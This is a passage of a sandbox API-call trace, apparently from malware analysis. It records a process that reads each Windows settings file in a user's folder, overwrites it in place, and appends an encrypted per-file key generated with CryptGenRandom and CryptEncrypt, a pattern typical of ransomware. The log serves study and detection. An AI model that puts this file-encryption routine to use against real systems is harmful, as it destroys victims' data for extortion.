(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{96BC4455-FDA3-4DE2-8B71-9D1953F0B32D}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.986] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x397, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x397, lpOverlapped=0x0) returned 1 [0194.998] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-919, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.998] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x397, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x397, lpOverlapped=0x0) returned 1 [0194.999] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x397 [0194.999] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.999] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.999] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.000] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.000] CloseHandle (hObject=0x1c24) returned 1 [0195.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.002] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.002] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{955E7FFD-4DD9-4124-96FC-86C3C653DD33}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.002] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x40b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x40b, lpOverlapped=0x0) returned 1 [0195.010] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1035, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.010] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x40b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x40b, lpOverlapped=0x0) returned 1 [0195.010] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x40b [0195.011] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.011] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.011] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.011] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.011] CloseHandle (hObject=0x1c24) returned 1 [0195.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.013] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0195.013] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{950fd00b-c4a9-4465-852a-b1eb51e2e7f6}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.013] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3bc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3bc, lpOverlapped=0x0) returned 1 [0195.022] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-956, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.022] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3bc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3bc, lpOverlapped=0x0) returned 1 [0195.023] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3bc [0195.023] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.023] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.023] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.024] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.024] CloseHandle (hObject=0x1c24) returned 1 [0195.027] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.027] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.028] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{944A41B9-C0FD-41AE-A6DF-5AC4FE5A59B4}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.028] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3bf, lpOverlapped=0x0) returned 1 [0195.029] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-959, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.029] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3bf, lpOverlapped=0x0) returned 1 [0195.030] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3bf [0195.030] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.030] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.030] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.030] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.030] CloseHandle (hObject=0x1c24) returned 1 [0195.032] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.032] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.032] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{9430DB91-B966-4971-A955-E3DBA1F889E7}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.032] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x432, lpOverlapped=0x0) returned 1 [0195.033] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.033] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x432, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x432, lpOverlapped=0x0) returned 1 [0195.034] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x432 [0195.034] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.034] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.034] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.034] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.034] CloseHandle (hObject=0x1c24) returned 1 [0195.036] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.036] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.036] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{9389633E-8BCB-4448-93CD-EBFFA0759257}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.036] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x47d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x47d, lpOverlapped=0x0) returned 1 [0195.038] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1149, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.038] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x47d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47d, lpOverlapped=0x0) returned 1 [0195.038] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47d [0195.038] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.038] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.038] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.038] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.039] CloseHandle (hObject=0x1c24) returned 1 [0195.040] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.040] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.040] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{91BA8E01-F854-4418-A108-E63323DDAE60}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.040] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d5, lpOverlapped=0x0) returned 1 [0195.042] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-981, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.042] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d5, lpOverlapped=0x0) returned 1 [0195.042] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d5 [0195.042] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.042] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.042] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.042] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.043] CloseHandle (hObject=0x1c24) returned 1 [0195.044] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.044] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.044] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{90ab71ce-bab6-4ca2-84fe-629338405756}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.045] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3aa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3aa, lpOverlapped=0x0) returned 1 [0195.046] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.046] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3aa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3aa, lpOverlapped=0x0) returned 1 [0195.046] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3aa [0195.046] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.046] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.047] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.047] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.047] CloseHandle (hObject=0x1c24) returned 1 [0195.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.054] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0195.054] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{907F262A-012A-4F6A-94C9-F479F3E6EE16}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.054] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x46a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x46a, lpOverlapped=0x0) returned 1 [0195.055] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1130, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.056] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x46a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x46a, lpOverlapped=0x0) returned 1 [0195.056] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x46a [0195.056] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.056] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.056] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.057] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.057] CloseHandle (hObject=0x1c24) returned 1 [0195.061] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.061] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.061] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{906435EC-336D-4B77-BCD6-397DE8318852}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.062] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x42c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x42c, lpOverlapped=0x0) returned 1 [0195.063] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1068, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.063] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x42c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42c, lpOverlapped=0x0) returned 1 [0195.064] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42c [0195.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.064] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.065] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.065] CloseHandle (hObject=0x1c24) returned 1 [0195.067] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.067] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0195.067] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{8e908fc9-becc-40f6-915b-f4ca0e70d03d}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.067] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x350, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x350, lpOverlapped=0x0) returned 1 [0195.068] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.068] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, 